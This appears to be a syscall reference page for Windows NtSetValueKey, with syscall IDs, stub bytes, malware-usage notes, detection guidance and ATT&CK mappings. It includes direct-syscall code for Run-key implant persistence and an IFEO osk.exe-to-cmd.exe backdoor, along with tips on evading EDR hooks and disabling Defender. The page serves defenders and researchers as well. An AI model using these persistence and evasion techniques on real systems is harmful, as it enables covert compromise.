NtSetValueKey
Writes a named value into an open registry key — the workhorse for Run-key and IFEO persistence.
Prototype
NTSTATUS NtSetValueKey( HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex, ULONG Type, PVOID Data, ULONG DataSize );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| KeyHandle | HANDLE | in | Handle to an open key from NtOpenKey/NtCreateKey with KEY_SET_VALUE access. |
| ValueName | PUNICODE_STRING | in | Name of the value to set. NULL or empty string targets the key's default value. |
| TitleIndex | ULONG | in | Reserved. Must be zero. |
| Type | ULONG | in | Value type: REG_SZ, REG_EXPAND_SZ, REG_DWORD, REG_BINARY, REG_MULTI_SZ, etc. |
| Data | PVOID | in | Pointer to the data buffer to write. |
| DataSize | ULONG | in | Size of the data buffer in bytes (include trailing NUL for REG_SZ). |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x60 | win10-1507 |
| Win10 1607 | 0x60 | win10-1607 |
| Win10 1703 | 0x60 | win10-1703 |
| Win10 1709 | 0x60 | win10-1709 |
| Win10 1803 | 0x60 | win10-1803 |
| Win10 1809 | 0x60 | win10-1809 |
| Win10 1903 | 0x60 | win10-1903 |
| Win10 1909 | 0x60 | win10-1909 |
| Win10 2004 | 0x60 | win10-2004 |
| Win10 20H2 | 0x60 | win10-20h2 |
| Win10 21H1 | 0x60 | win10-21h1 |
| Win10 21H2 | 0x60 | win10-21h2 |
| Win10 22H2 | 0x60 | win10-22h2 |
| Win11 21H2 | 0x60 | win11-21h2 |
| Win11 22H2 | 0x60 | win11-22h2 |
| Win11 23H2 | 0x60 | win11-23h2 |
| Win11 24H2 | 0x60 | win11-24h2 |
| Server 2016 | 0x60 | winserver-2016 |
| Server 2019 | 0x60 | winserver-2019 |
| Server 2022 | 0x60 | winserver-2022 |
| Server 2025 | 0x60 | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 60 00 00 00 mov eax, 0x60 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
Stable at `0x60` from Windows 7 through Win11 24H2. Pair with NtCreateKey/NtOpenKey to write values without going through advapi32, where most EDR user-mode hooks live. The kernel routes the call through CmSetValueKey → CmpSetValueKeyNew/Existing; hive flushes are deferred (CmpLazyFlushHiveList) so a freshly written value may not hit disk for several seconds — useful for actors racing detection.
Common malware usage
The execution side of registry persistence. Once an autostart subkey is opened, NtSetValueKey writes the actual launch command: - `Run` / `RunOnce`: a REG_SZ pointing at the implant. - `Image File Execution Options\<victim.exe>` → `Debugger` REG_SZ → attacker binary (T1546.012). - `Winlogon\Userinit` / `Winlogon\Shell` appended with attacker payload. - `Services\<name>\ImagePath` for service hijack. - `AppInit_DLLs` to load into every user-mode process linking user32.dll. Direct-syscall callers also use it to flip security values (DisableAntiSpyware, AntiSpywareEnabled, SubmitSamplesConsent) when running elevated.
Detection opportunities
Microsoft-Windows-Kernel-Registry ETW emits `EventSetValueKey` (Opcode 11) carrying KeyHandle path, value name, type and data length — invaluable for high-fidelity alerting on autostart and IFEO writes. Sysmon Event ID 13 (RegistryEvent: Set value) and Event ID 14 (Key/Value rename) cover the same on endpoints without EDR. Highest-value alerts: anything writing under `*\CurrentVersion\Run*`, `*\Image File Execution Options\*\Debugger`, `*\Winlogon\(Userinit|Shell|AppInit_DLLs)`, and any change to Defender exclusion or `SubmitSamplesConsent` values. Pair with image-load telemetry to catch the resulting process at next logon.
Direct syscall examples
cWrite a Run-key persistence entry
// Drop HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\PD\impl.exe
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"Updater");
WCHAR data[] = L"C:\\ProgramData\\impl.exe";
NTSTATUS s = NtSetValueKey(
hRunKey, // from NtCreateKey/NtOpenKey
&name,
0, // TitleIndex
REG_SZ,
data,
(ULONG)((wcslen(data) + 1) * sizeof(WCHAR)));asmDirect stub (SSN 0x60)
NtSetValueKey PROC
mov r10, rcx
mov eax, 60h
syscall
ret
NtSetValueKey ENDPcIFEO Debugger hijack (T1546.012)
// HKLM\Software\Microsoft\Windows NT\CurrentVersion\
// Image File Execution Options\osk.exe!Debugger = cmd.exe
// Triggers when On-Screen Keyboard is launched (incl. Sticky Keys at logon).
UNICODE_STRING debuggerName;
RtlInitUnicodeString(&debuggerName, L"Debugger");
WCHAR debugger[] = L"C:\\Windows\\System32\\cmd.exe";
NtSetValueKey(hIfeoOskKey, &debuggerName, 0, REG_SZ,
debugger,
(ULONG)((wcslen(debugger) + 1) * sizeof(WCHAR)));MITRE ATT&CK mappings
- T1547.001Registry Run Keys / Startup Folder
- T1546.012Image File Execution Options Injection
- T1112Modify Registry
- T1574.011Services Registry Permissions Weakness
Last verified: 2026-05-20